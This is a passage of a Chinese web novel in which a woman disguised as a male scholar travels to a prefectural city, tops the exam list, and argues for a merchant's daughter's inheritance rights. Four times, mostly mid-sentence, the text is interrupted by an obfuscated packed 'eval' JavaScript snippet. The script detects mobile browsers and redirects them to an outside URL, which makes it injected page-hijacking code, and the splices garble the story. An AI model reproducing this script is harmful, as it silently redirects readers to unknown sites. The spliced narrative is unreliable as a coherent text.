“我的意思是,”谢青梧把刀还给他,“几位大哥要是真靠这个吃饭,还是磨磨刀的好。不然别说护送我们,怕是连自己都护不住。” 她说话时声音不高,但茶棚里每个人都听得清楚。刀疤脸身后的汉子们脸上挂不住了,有一个直接往前一步:“小子,你找死?” “找死不敢。”谢青梧站起来,从袖中摸出一块碎银放在桌上,“茶钱。至于护送的事,我看就不必了。几位大哥连刀都磨不好,我们哪敢把性命托付。” 她说完,提起包袱,对周子砚说:“走吧。” 周子砚赶紧跟上。 刀疤脸脸色铁青,想拦,但茶棚外头已经有人看过来了。这地方虽偏,但毕竟是大路边,来往的人多。 谢青梧走到马车边,车夫已经喂完马,正蹲在车辕上抽烟。见她过来,站起身:“公子,没事吧?” “没事,走吧。”谢青梧上了车。 周子砚也跟上来,马车重新上路。等走出老远,周子砚才长出一口气:“谢兄,刚才吓死我了,我还以为他们要动手呢。” “不会。”谢青梧说,“他们就是看咱们是读书人,想讹点钱。真动手,他们不敢。” “你怎么知道?” “你看他们的刀。”谢青梧道,“真要干杀人越货的勾当,刀不会是那样。刀刃钝,刀身锈,说明他们很久没真动过手了。这种人,吓唬吓唬还行,真动手,他们自己先怯。” 周子砚听得愣愣的:“谢兄,你还懂这些?” “书上看的。”谢青梧说,其实不是。是她这些年察言观色,自己琢磨出来的。在谢家那种地方,不会看人脸色,不会分辨虚实,早就活不下去了。 马车继续往前走。下午的时候,下起了小雨。雨不大,但淅淅沥沥的,让路更不好走。 车夫说,照这个速度,天黑前到不了下一个镇子,得在野外歇一夜。 周子砚有些担心:“野外安全吗?” “找个背风的地方,生堆火,没事。”车夫说,“这条路我常走,知道哪儿能歇。” 天快黑时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946673|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,马车拐下官道,进了一片林子。林子里有块空地,旁边有条小溪。车夫停了车,开始捡柴生火。 谢青梧和周子砚也下来帮忙。火很快升起来,橘黄的光照亮一小片地方。车夫从车里拿出干粮,分给他们。 雨已经停了,但夜风很凉。三人围着火堆坐着,谁也不说话。 远处有狼嚎声,隐隐约约的。周子砚往火堆边靠了靠,脸色发白。 “没事。”车夫说,“狼怕火,不敢过来。” 话虽这么说,但这一夜谁也没睡踏实。谢青梧靠着一棵树,闭着眼,耳朵却听着周围的动静。风声,虫鸣,偶尔的鸟叫。 她想起春杏,不知道那丫头现在在做什么。大概又在灯下做针线吧,一边做一边担心她。 天蒙蒙亮时,火堆已经快熄了。车夫添了柴,重新把火烧旺。三个人就着热水吃了点干粮,继续上路。 越往府城走,路越好走,人也越多。快到中午的时候,终于看到了府城的城墙。 青灰色的城墙很高,城门洞开着,人来人往。守城的兵卒在检查路引,队伍排得老长。 谢青梧和周子砚下了车,排队进城。轮到他们时,兵卒看了看路引,又打量他们几眼:“赶考的?” “是。” “进去吧。记住,府城有府城的规矩,别惹事。” 进了城,热闹扑面而来。街道比县城宽,铺子也比县城多,卖什么的都有。周子砚看得眼花缭乱,差点撞到人。 车夫问他们去哪儿,周子砚说已经订好了客栈,在城南。马车又走了小半个时辰,停在一家客栈门口。 客栈不大,但还算干净。掌柜是个胖胖的中年人,见他们进来,笑着迎上来:“两位公子是赶考的吧?房间已经备好了,在三楼。” 房间很小,只有一张床,一张桌子。但窗户临街,光线很好。 周子砚放下包袱,长长舒了口气:“总算到了。” 谢青梧走到窗边,往外看。街上人来人往,有挑担的小贩,有坐轿的富人,有嬉戏的孩童。一派繁华景象。 但她知道,这繁华底下,和县城没什么两样。有欺压,有不公,有无数说不出的苦。 只是藏得更深些。 “谢兄,咱们先去吃点东西吧。”周子砚说,“我快饿死了。” 两人下楼,在客栈大堂要了两碗面。面端上来,热气腾腾的,上面铺着几片肉。 正吃着,门口进来几个人,也是学子打扮,说话声音很大。 “听说了吗?这次府试,崔大人出了名的严。” “严才好,把那些滥竽充数的都刷下去。” “不过崔大人好像特别讨厌寒门出身,说寒门子弟见识浅,写不出好文章。” 周子砚筷子顿了顿,看向谢青梧。 谢青梧低头吃面,好像没听见。 但那几个人的话,她一字不落听进去了。 寒门出身,见识浅。 她慢慢嚼着面,心里那股火,又悄悄烧起来。 那就让他们看看,寒门子弟能写出什么样的文章。 面吃完了,她放下碗,对周子砚说:“回屋温书吧。” “这么早?” “早一天是一天。”谢青梧站起来,走上楼梯。 她的背影挺直,脚步沉稳。周子砚看着,忽然觉得,这位谢兄和平时不太一样。 具体哪儿不一样,他说不上来。 就是觉得,好像有什么东西,在她心里烧着。 烧得很静,但很旺。 8. 府试前夜 府试前三天,府学门口贴出了考场安排。 谢青梧和周子砚挤在人群里看榜。密密麻麻的名字,按籍贯排列。谢青梧在中间偏上的位置找到了自己和周子砚的名字,两人不在同一个考场。 “还好,离得不远。”周子砚松了口气。 看完考场安排,两人沿着府城最热闹的南大街往回走。街道两旁店铺林立,绸缎庄、首饰铺、茶馆酒楼,吆喝声此起彼伏。 路过一家绸缎庄时,门口围了不少人,吵吵嚷嚷的。 周子砚爱看热闹,拉着谢青梧往人群里挤:“看看怎么回事。” 绸缎庄门口,一个穿杏色衣裙的少女正和店掌柜理论。少女约莫十五六岁,眉眼清秀,但此刻气得脸颊发红。 “这匹云锦明明是我先看中的,定金都付了,凭什么转卖给别人?” 掌柜是个矮胖的中年人,陪着笑脸:“林小姐,实在对不住。那位客人出价高,我也得做生意不是?您的定金我双倍退还,您看……” “我不要钱!”少女声音清脆,“我就要这匹布。这是我娘生辰,我特意挑了半个月才挑中的。” “这……”掌柜为难,“布已经卖了,人家下午就来取。林小姐,您就别为难我了。” 围观的百姓指指点点,有人说掌柜不厚道,也有人说这姑娘太较真,一匹布而已。 周子砚小声说:“这掌柜确实不地道,收了定金还转卖。” 谢青梧没说话。她看着那少女,杏色衣裙料子普通,但剪裁得体。说话时虽然生气,但条理清晰,不是那种只会哭闹的娇小姐。 正看着,人群外头传来马蹄声。几匹马停在路边,下来几个人。为首的是个锦衣公子,二十来岁,手里摇着把折扇,身后跟着几个家丁。 掌柜看见他,眼睛一亮,赶紧迎上去:“孙公子,您来了!” 锦衣公子瞥了眼门口的情形:“怎么回事?” “没什么没什么,一点小误会。”掌柜赔笑,“您要的云锦已经备好了,里边请。” 少女上前一步:“孙公子,这匹云锦是我先订下的。” 孙公子打量她一眼,笑了:“林小姐?怎么,你也看上这匹布了?” “是我先付的定金。” “定金?”孙公子摇着扇子,“做生意嘛,价高者得。掌柜的,我出三倍价钱,这布我要了。” 掌柜连连点头:“是是是,孙公子说的是。” 少女咬紧嘴唇,眼圈红了,但强忍着没掉眼泪。 谢青梧忽然从人群里走出来。 “这位掌柜。”她开口,声音不高,但周围一下子安静了。 掌柜转头看她,见是个清瘦少年,穿着普通,便没太在意:“这位公子有事?” “想问掌柜几个问题。”谢青梧说,“您收定金时,可曾与这位姑娘约定取货日期?” 掌柜一愣:“约、约了,说好今天来取。” “那约定时,可曾说若逾期不取,定金不退,货物可另行售卖?” “这……”掌柜支吾,“倒没说这么细……” “既然没说,那按常理,定金既付,买卖已成。”谢青梧语气平静,“掌柜收下定金,这匹布的所有权便已归这位姑娘。您擅自转卖,是违约。” 周围百姓开始议论。有人点头,有人说这少年说得在理。 孙公子皱眉:“你谁啊?多管闲事。” “路见不平而已。”谢青梧转向他,“孙公子若是真喜欢这布,也该等掌柜与林小姐解约后再买。如今这布还是林小姐的,您强行要买,是强买。” “你!”孙公子脸上挂不住,“一匹布而已,本公子出得起钱!” “出得起钱,也要讲规矩。”谢青梧说,“否则与强抢何异?” 这话说得重了。孙公子脸色一变,身后的家丁上前一步,似乎要动手。 周子砚赶紧挤过来,挡在谢青梧身前:“有话好好说,别动手!” 谢青梧却没退。她看着孙公子,眼神清亮:“孙公子,府试在即,府城内外多少双眼睛看着。为了一匹布闹出事来,传到考官耳朵里,怕是不妥。” 孙公子动作一滞。 他是今年参加府试的考生,家里花了大力气打点,要是这时候闹出是非,确实影响前程。 掌柜见状,赶紧打圆场:“孙公子息怒,这位小公子说得也有理。要不这样,店里还有一匹类似的云锦,虽不及这匹,但也……” “不必了。”孙公子冷哼一声,狠狠瞪了谢青梧一眼,转身就走。家丁们跟了上去。 人群渐渐散去。 掌柜擦了擦汗,对少女说:“林小姐,布您拿走吧,按原价。” 少女却摇摇头:“不必了。布我还是要,但钱我会照付,不多不少。” 她转身看向谢青梧,认真行了一礼:“多谢这位公子仗义执言。小女子林疏影,不知公子尊姓大名?” “谢怀瑾。” “谢公子。”林疏影从袖中取出一块玉佩,“这是我随身之物,不值什么钱,但胜在精巧。今日之恩,无以为报,这个请公子收下。” 谢青梧没接:“举手之劳,林小姐不必客气。” “要的。”林疏影坚持,“我娘说过,受人恩惠当铭记于心。公子若不收,我便一直跟着您,直到您收下为止。” 她说得认真,不像开玩笑。 谢青梧想了想,接过玉佩。玉佩温润,雕着简单的云纹,确实精巧。 “那就谢过林小姐了。” 林疏影这才笑了。她笑起来眉眼弯弯,刚才那股倔强劲儿全没了,倒显出几分少女的灵动。 付了钱,取了布,林疏影抱着那匹云锦,又对谢青梧行了一礼,这才离开。 周子砚看着她走远,小声说:“这位林小姐倒是爽快人。” 谢青梧嗯了一声,把玉佩收进袖中。 两人继续往回走。周子砚还在说刚才的事:“谢兄,你胆子真大,那孙公子看着就不是好惹的。” “他不敢惹事。”谢青梧说,“府试当前,谁也不想节外生枝。” “那倒也是。”周子砚点点头,又想起什么,“对了,那个林小姐,她说她姓林?该不会就是那个林家吧?” “哪个林家?” “城南做丝绸生意的林家啊。”周子砚说,“我舅舅提过,林家是府城数一数二的商贾,可惜当家的去年病逝,只留下个女儿。听说族里那些叔伯正惦记着家产呢。” 谢青梧脚步顿了顿。 林疏影……原来如此。 怪不得一匹布也要争。不是争布,是争一口气。 回到客栈,谢青梧把玉佩拿出来细看。玉质普通,但雕工确实好,云纹流畅,像是出自大家之手。翻过来,背面刻着一个小小的“疏”字。 她把玉佩收好,继续温书。 傍晚时分,客栈大堂忽然热闹起来。谢青梧下楼吃饭,看见好几个学子聚在一起说话,神色激动。 “听说了吗?崔大人放话了,这次府试的文章,谁要是敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946674|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写那些标新立异的东西,直接罢落!” “真的假的?” “千真万确!我表哥在府衙当差,亲耳听见的。” “那完了,我还准备在策论里写点新想法呢……” “劝你别。崔大人最讨厌这个。老老实实写,中规中矩,比什么都强。” 周子砚坐在谢青梧对面,听着这些话,脸色发白:“谢兄,这……” 谢青梧低头吃饭,没说话。 吃完饭,她没直接回房,而是出了客栈,在街上慢慢走。 府城的夜晚比县城热闹。灯火通明,行人如织。有卖小吃的摊子,有说书的茶馆,有唱曲的勾栏。 她走过一家茶馆,里头正说《西厢记》。说书人声情并茂,底下的客人听得入神。 她站在门口听了一会儿。 才子佳人,私定终身。故事是好故事,可现实里,有几个女子能自己做主? 她继续往前走。 路过一条小巷,巷口有家小酒馆。酒馆里坐着几个人,正大声说话。 “要我说,女子就该安分守己。读什么书?考什么试?相夫教子才是本分!” “就是。那些想着抛头露面的,都是不安于室。” “听说京城还有人提议开女学,简直荒唐!” 谢青梧停下脚步。 她站在阴影里,看着酒馆里那些人。有老有少,有读书人模样,也有商贩打扮。一个个说得唾沫横飞,仿佛女子读书是天大的罪过。 她站了很久,直到那些人喝完酒,摇摇晃晃地离开。 夜风吹过来,有点凉。 她慢慢走回客栈。上楼时,在楼梯口遇见了周子砚。 “谢兄,你去哪儿了?我正想找你。” “随便走走。” 周子砚看着她,欲言又止。 “怎么了?”谢青梧问。 “那个……刚才又有人来传话,说崔大人明天要在府学讲学,所有考生都得去听。”周子砚小声说,“我猜,怕是又要敲打咱们,让咱们别乱写。” 谢青梧点点头:“知道了。” 回到房间,她没点灯,在黑暗里坐着。 窗外的光透进来,朦朦胧胧的。 她想起林疏影抱着布的样子,想起酒馆里那些人的话,想起谢明远那句“别动不该动的心思”。 不该动的心思。 女子读书是不该,女子经商是不该,女子想要公平,更是不该。 可凭什么? 就凭她们生来是女子? 谢青梧站起来,走到窗边。 街上还有行人,三三两两。有夫妻并肩而行,有母亲牵着孩子,有少女结伴说笑。 她们或许从没想过要改变什么,就这样一天天过下去,嫁人生子,老去死去。 可她不一样。 她见过林姨娘咽气前的不甘,见过翠儿投井后的惨状,见过深宅里无数女子的眼泪。 她没法装作看不见。 桌上放着明天要带的书。她走过去,翻开一页。 烛火跳动,字迹在光里明明灭灭。 她看了很久,然后提笔,在纸的空白处写下一行小字: “道之所在,虽千万人吾往矣。” 写完了,她吹灭灯,躺下睡觉。 黑暗里,她睁着眼,听着外头的更鼓声。 一更,二更,三更。 天快亮时,她才闭上眼。 梦里没有锦绣文章,没有金榜题名。 9. 府试开考 天没亮,谢青梧就醒了。 春杏不在身边,但这两个月在客栈,她已经习惯了早起。她安静地起身,检查要带的东西:考篮、笔墨、干粮、水囊。每样都妥帖。 下楼时,大堂里已经聚了不少考生。有的在吃早饭,有的在最后翻书,气氛紧张。周子砚看见她,招招手,脸色有点白。 “谢兄,我昨晚没睡好。” “正常。”谢青梧在他对面坐下,要了碗粥。 “你说崔大人今天真会在考场上盯着咱们吗?”周子砚压低声音,“我听说他往年会抽查考场,看到不合意的文章,当场就撕了。” 谢青梧喝了口粥:“做好自己的文章就行。” 周子砚还想说什么,但看她神色平静,又把话咽了回去。 吃完早饭,两人随着人流往府学走。街道上全是考生和送考的人,黑压压一片。有人高声说话壮胆,有人埋头默诵,还有人边走边拜,求文曲星保佑。 府学门口,衙役挨个检查考篮、搜身。轮到谢青梧时,她神色如常地抬起手臂。衙役检查得仔细,从发髻到鞋底,没放过一处。束胸缠得紧实,布料边缘用软布包好,查不出来。 进了考场,找到自己的号舍。比县试的稍大些,桌椅也新。谢青梧放下东西,铺开纸笔。 钟声响起。 考官入场。为首的是个五十来岁的官员,面容严肃,眼神锐利,正是主考官崔蔺。他在考场里走了一圈,目光扫过每个考生,最后停在中央。 “开考。” 试卷发下来。谢青梧接过,平铺在桌上。 第一场还是四书文。题目:“君子不器”。 这题目有意思。君子不像器物那样只有单一用途,要有多方面的才能和修养。常见的写法是赞扬君子博学多能,但谢青梧盯着这四个字,忽然想到别的。 器物有固定用途,女子在世人眼里,是不是也被当成了“器”?相夫教子是用途,生儿育女是用途,除此之外,再无其他。 她提笔蘸墨,却没有立刻写。她在想崔蔺那句“标新立异者罢落”,在想林疏影抱着布的样子,想酒馆里那些人的议论。 笔尖悬在纸上,墨将滴未滴。 最终落下时,她写的还是正论。从“君子博学而多能”破题,引经据典,论述君子当通晓六艺、明辨事理。文章工整,挑不出错。 但她在结尾处,轻轻加了一句:“然世人常以器量人,以用定值,此非知人也。” 这句话说得隐晦。说的是君子不该被当器物看待,但落在有心人眼里,或许能品出别的意思。 她写完,放下笔,等墨干。 斜对面的号舍里,有个考生忽然咳嗽起来,咳得撕心裂肺。监考的衙役过去查看,那考生脸色惨白,摆摆手示意没事。 谢青梧移开视线。她看到考场角落里,一个年纪较大的考生正偷偷抹汗,手抖得厉害。另一边的年轻考生则在咬笔杆,眉头紧皱。 众生相。 钟声再响,收卷。 中场休息时,考生们可以出来走动,但不能交谈。谢青梧站在号舍外,活动了下手腕。周子砚在不远处,正仰头喝水,喉结滚动得厉害,看得出紧张。 第二场考诗赋。题目是“秋日即景”。 谢青梧想了想,写了几行。不是多出彩,但合规矩,押韵对仗都工整。她没在这上头费太多心思。 第三场才是重头戏:策论。 题目发下来时,考场里响起低低的吸气声。 “论农商之重”。 这题目不新鲜,但难写。写重农轻商是老调,写农商并重又可能触怒某些人。更要命的是,崔蔺就站在考场中央,背着手,目光如鹰。 谢青梧看着题目,想起县试时她写的那句“妇功桑织亦为国用”。那篇文章被抄送京城,引来过议论。 这次还写吗? 她抬眼,看向崔蔺。崔蔺也正好看过来,眼神冷淡,带着审视。 四目相对一瞬,谢青梧垂下眼。 她提起笔。 这一次,她没犹豫。 “农为国之本,商为国之脉。本固则邦宁,脉通则物阜。” 开头中规中矩。她接着写农事的重要,写耕种的辛苦,写赋税徭役。写到商时,她笔锋一转。 “然商非末也。货殖流通,有无相济,此商之功。江南之丝北运,塞外之马南来,若无商贾,何以通之?” 她写得很慢,字字斟酌。写到一半时,她停笔,看向窗外。 秋日阳光正好,透过窗棂洒在纸上。她能看见尘埃在光里飞舞,细小,但清晰。 她继续写。 “更有妇人织造,女红刺绣,虽云内事,实关经济。一匹之成,数日之功;千家之织,可裕国库。若视之为‘妇功’而轻之,是未见其用也。” 这句话写出来时,她手很稳。 她知道会有人看到,知道崔蔺可能会不满,知道这或许会影响她的名次。 但她还是写了。 写完最后一个字,她放下笔,长长舒了口气。 钟声响起,收卷。 考生们陆续离场。谢青梧收拾好东西,随着人流往外走。周子砚挤过来,脸色复杂。 “谢兄,你策论……是不是写了那个?” “哪个?” “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946675|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……女子织造那些。”周子砚压低声音,“我坐在你斜后方,扫到一眼。你胆子太大了,崔大人今天就在考场里转悠。” “写了就写了。”谢青梧说。 “可是……” “子砚。”谢青梧停下脚步,看他,“如果一篇文章,连自己想说的话都不敢写,那写来何用?” 周子砚愣了愣,没说话。 两人走出府学。外头阳光刺眼,照得人有些恍惚。送考的人群还没散,有家长拉着孩子问长问短,有同窗聚在一起对答案。 谢青梧没停留,径直往客栈走。 回到房间,她关上门,坐在窗前。 桌上放着几本书,都是这些日子看的。她随手翻开一本,却看不进去。眼前晃过考场上的情景,晃过崔蔺那张严肃的脸,晃过自己笔下的字。 她不知道结果会怎样。 或许会罢落,或许会中举,或许只是平平。 但至少,她写了想写的话。 窗外传来喧闹声。她起身去看,是几个考生在街上争论,脸红脖子粗,大概是在对答案。 她看了一会儿,关上窗。 傍晚时分,周子砚来敲门,说一起去吃饭。两人下楼,大堂里已经坐了不少考生,都在议论今天的考题。 “那道策论你们怎么写的?我写重农抑商,应该稳妥。” “我也是。崔大人最讨厌商人那套,写农商并重怕是危险。” “听说有人写了女子织造的事,真是找死。” 周子砚看了谢青梧一眼。谢青梧神色如常,低头吃面。 正吃着,门口进来几个人。为首的是个锦衣公子,正是那天在绸缎庄遇到的孙公子。他一眼看见谢青梧,脸色沉了沉,但没过来,在另一桌坐下。 周子砚小声道:“他也来考试了。” “嗯。” “谢兄,你说他会不会记仇,在崔大人面前说你坏话?” “随他。”谢青梧说。 吃完饭,两人回房。周子砚还想说什么,谢青梧已经关上了门。 她没点灯,在黑暗里坐着。 月光从窗户照进来,在地上铺开一片银白。她看着那片光,忽然想起林姨娘。 姨娘病重时,拉着她的手说,梧儿,女子这辈子,太难了。 是啊,太难了。 所以她才要试试,试试看能不能把这条路,走宽一点。 哪怕只是一点点。 夜深了,外头的喧闹渐渐平息。 谢青梧躺下,闭上眼。 明天放榜,结果如何,很快就知道了。 她翻了个身,面朝墙壁。 10. 榜首 放榜那天,谢青梧没早起。 她睡到天光大亮才起身,洗漱,吃早饭,动作平常得像任何一个普通日子。周子砚在门口转了三圈,终于忍不住敲门。 “谢兄,你怎么还不急?” “急什么?”谢青梧开门让他进来。 “放榜啊!”周子砚脸都急红了,“这会儿府学门口肯定挤满人了,咱们再不去,好位置都没了。” “挤在那儿就能中榜吗?”谢青梧倒了杯水给他。 周子砚被噎了一下,接过水一口喝完,还是坐不住:“话是这么说,可……可总得去看看啊。” 谢青梧看他实在着急,这才起身:“那就去吧。” 两人到府学时,门口果然已经水泄不通。黑压压一片人头,都仰着脖子往照壁上看。衙役刚把红纸贴上去,墨迹还没干透。 周子砚拼命往前挤,谢青梧跟在他身后。挤到一半,前头忽然传来惊呼。 “榜首!榜首是谢怀瑾!” 人群骚动起来。无数道目光扫视,想找出这个谢怀瑾是谁。周子砚愣在原地,好半天才转身抓住谢青梧的胳膊:“谢兄!是你!榜首!” 谢青梧抬眼看去。红纸最上方,“谢怀瑾”三个字写得清清楚楚。 她没什么表情,只是点了点头。 周围有人认出她来,开始指指点点。 “就是他,那个在考场写女子织造的。” “崔大人居然没罢落他?” “何止没罢落,还给榜首!难不成崔大人转性了?” “谁知道呢,许是文章确实好。” 议论声中,谢青梧转身往外走。周子砚赶紧跟上,脸上又是笑又是惊,表情复杂。 刚挤出人群,斜刺里冲出几个人,拦住了去路。 是孙公子。他脸色铁青,身后跟着几个家丁。 “谢怀瑾。”孙公子盯着她,声音从牙缝里挤出来,“你倒是好本事。” “孙公子有事?”谢青梧问。 “别装傻。”孙公子往前一步,“你写的什么文章,自己清楚。崔大人最讨厌这些,凭什么给你榜首?” “这话,孙公子该去问崔大人。” “我问你!”孙公子声音拔高,“你是不是走了什么门路?还是说,你在文章里拍了崔大人的马屁?” 周围渐渐聚拢起看热闹的人。周子砚想说话,被谢青梧拦住了。 她看着孙公子,忽然笑了:“孙公子以为,崔大人是什么人?几句话就能糊弄过去?” “你什么意思?” “我的意思是,”谢青梧声音清晰,“崔大人阅卷无数,文章好坏,他心里有数。孙公子若不服,不如想想自己的文章差在哪里,而不是在这儿质问旁人。” 这话说得客气,但意思明白:你自己考不好,别怪别人。 孙公子脸涨成猪肝色。他家在府城有些势力,从小被人捧着,还没受过这种气。 “好,好。”他连说两个好字,“谢怀瑾,咱们走着瞧。” 他带着人走了。围观的人群渐渐散去,但议论没停。谢怀瑾这个名字,今天之后,在府城学子圈里算是彻底响了。 周子砚长出一口气:“吓死我了,我还以为他要动手。” “他不敢。”谢青梧说,“府试刚放榜,这时候闹事,对他没好处。” “可他会不会记恨,往后找麻烦?” “记恨是肯定的。”谢青梧继续往前走,“但麻烦……那得看他有没有那个本事。” 两人回到客栈。掌柜已经知道消息,迎出来时脸上堆满笑:“恭喜谢公子!小店能出个榜首,真是蓬荜生辉!” 谢青梧淡淡应了,上楼回房。 关上门,她在窗前站了一会儿。 榜首。意料之外,情理之中。 她知道那篇文章写得好,但没想到崔蔺会给她榜首。那个严肃的老大人,看起来最厌恶“标新立异”,却给了她最高的肯定。 这世上的人和事,果然不能只看表面。 下午,府学派人来请,说知府大人要设宴,请今科举人一聚。来传话的是个年轻书吏,态度客气得很。 谢青梧换了身干净衣裳,和周子砚一起过去。 宴席设在府衙后园。到的时候,园子里已经聚了不少人。今科举人大多来了,还有几位府学的夫子作陪。主位上坐着知府张承,四十来岁,面容和善。他旁边坐着崔蔺,依旧是那副严肃表情。 谢青梧进来时,园子里静了一瞬。 所有人的目光都落在她身上。惊讶,好奇,探究,还有掩饰不住的羡慕嫉妒。 张承笑着招手:“谢怀瑾?来,坐这边。” 那是靠近主位的位置。谢青梧走过去,行礼落座。周子砚坐在她旁边,紧张得手脚都不知道怎么放。 宴席开始。酒过三巡,气氛渐渐活络。有人开始作诗,有人高谈阔论,说的都是些场面话。 崔蔺一直没怎么说话,只偶尔和张承交谈几句。直到有人提起今科考题,他才抬眼,看向谢青梧。 “谢怀瑾。” “学生在。” “你那篇策论,我看了三遍。”崔蔺声音不大,但园子里瞬间安静下来,“写得不错。” 谢青梧垂眸:“谢大人夸奖。” “我不是夸你。”崔蔺说,“我是说,文章本身不错。论据扎实,条理清晰,难得的是有自己见解。” 他顿了顿,环视园中众人:“我知道,外头有人说我讨厌标新立异。这话对,也不对。我讨厌的是为标新立异而标新立异,是那些华而不实、哗众取宠的东西。” “但真正的见解,真正的思考,我不讨厌。”他看着谢青梧,“你那句‘妇人织造,虽云内事,实关经济’,说得在理。江南织户,女子居多,若她们不织,国库确实要少一大笔进项。” 园子里鸦雀无声。所有人都没想到,崔蔺会当众说这些话。 张承笑着打圆场:“崔大人爱才之心,可见一斑。” 崔蔺摆摆手,没再接话。他又看了谢青梧一眼,那眼神复杂,有欣赏,也有审视。 宴席继续,但气氛不一样了。有人开始主动找谢青梧说话,态度恭敬。周子砚在一旁小声说:“谢兄,你这次是真出名了。” 谢青梧没接话。她喝着茶,心里清楚,出名未必是好事。 宴席过半,外头忽然传来喧哗声。一个衙役匆匆进来,在张承耳边说了几句。张承脸色微变,起身告罪,匆匆出去了。 园子里众人面面相觑,不知道发生了什么事。 没过多久,张承回来了,身后还跟着个人。是个少女,杏色衣裙有些凌乱,发髻也散了,正是林疏影。 她脸色苍白,眼睛红着,但背挺得很直。 张承在主位坐下,神色凝重:“各位,打扰了。林小姐有件事,想请各位做个见证。” 林疏影上前一步,对着园中众人行了一礼。 “小女子林疏影,家父去年病逝,留下城南林氏绸缎庄。按律,家产应由我继承。但族中叔伯以女子不能经商为由,要夺我家产。”她声音微颤,但清晰,“今日他们带人强闯铺子,要夺账本契书。我无奈,只能来求知府大人做主。” 园子里一片哗然。 女子继承家产本就少见,更别说经营商铺。许多人脸上露出不以为然的神色。 张承咳嗽一声:“此事涉及律法家事,本官自会审理。林小姐先回去,明日升堂再说。” “大人。”林疏影跪下,“账本契书已被他们抢走,若等明日,只怕什么都晚了。求大人现在就派人去取回,小女子愿以性命担保,所言句句属实。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946676|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张承为难。这种事其实常见,女子守不住家产,被族亲侵占。官府大多睁只眼闭只眼,毕竟“女子不能经商”是约定俗成的规矩。 园子里有人小声议论:“一个姑娘家,守着铺子做什么,早晚要嫁人的。” “就是,给了族亲,也不算外流。” “听说林家那些叔伯也不是善茬……” 谢青梧放下茶杯。 她站起身。 所有人的目光又聚到她身上。 “张大人。”她开口,“学生有个问题。” “谢公子请说。” “按《景律·户婚》,父母亡故,家产如何继承?” 张承愣了愣:“这个……若无子,由女继承。” “女子继承家产,可有禁止经商的条文?” “这……”张承迟疑,“倒没有明文禁止,但女子经商,确实少见……” “少见不等于不能。”谢青梧转向园中众人,“律法既然允许女子继承,那她就有权处置自己的财产。经营商铺是处置方式之一,只要合法经营,官府为何要干涉?” 有人反驳:“谢公子,话不是这么说。女子抛头露面,不合礼教。” “那请问,”谢青梧看向说话的人,“若是男子继承家产后经商,算不算抛头露面?” “男子自然不同!” “何处不同?”谢青梧问,“是因为男子天生比女子会经商,还是因为世人觉得女子不该经商?” 那人被问住了,张了张嘴,没说出话。 园子里安静得可怕。 崔蔺忽然开口:“谢怀瑾,你继续说。” 谢青梧看向他,顿了顿,才说:“学生只是觉得,律法既然定了,就该遵守。女子继承家产是律法允许的,经营商铺也是正当营生。若因她是女子就剥夺这份权利,那律法的意义何在?” 她声音不高,但每个字都清晰:“林小姐今日能来求告,说明她信官府能主持公道。若官府也以‘女子不该’为由推脱,那往后还有谁敢信律法?” 张承脸色变了变。 崔蔺看着他:“张大人,你觉得呢?” 张承额头冒汗。他看看林疏影,看看谢青梧,再看看崔蔺,最后一咬牙:“来人!去城南林氏绸缎庄,把账本契书取回来!若有阻拦,按律处置!” 衙役领命去了。 林疏影眼圈更红,对着张承深深一拜:“谢大人。” 她又转向谢青梧,行了一礼,没说话,但眼神里的感激明明白白。 宴席匆匆散了。 回去的路上,周子砚一直没说话。直到快到客栈,他才小声问:“谢兄,你为什么要帮林小姐?” “不该帮吗?” “不是不该……”周子砚挠头,“我就是觉得,这事儿挺麻烦的。她那些族亲肯定不会罢休,你这一出头,等于把麻烦揽自己身上了。” 谢青梧脚步没停。 “子砚,你考科举是为了什么?” “为了……为了光宗耀祖,为了有个前程。” “那有了前程之后呢?”谢青梧问,“只为自己活着,还是也能为别人说句话?” 周子砚答不上来。 谢青梧笑了笑,没再问。 回到房间,她推开窗。夜色已深,街上还有零星灯火。 她想起林疏影跪在那里的样子,想起园子里那些人脸上的不以为然,想起自己说的那些话。 那些话在她心里藏了很久,今天终于说出来了。 